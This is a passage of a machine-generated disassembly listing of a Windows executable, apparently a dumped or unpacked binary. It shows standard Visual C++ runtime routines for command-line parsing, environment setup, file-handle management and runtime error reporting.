; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2680000h nop mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2630C68h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2630F5Fh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 2630C68h nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2640000h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 2880000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call near ptr 26302A7h nop test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 2630A17h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 26302A7h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 2630BF2h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2630A17h push eax call near ptr 2700000h nop loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call near ptr 2630000h nop loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej call near ptr 2630000h nop loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2620851h test eax, eax jnz short loc_42391D nop call near ptr 2690CE2h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E 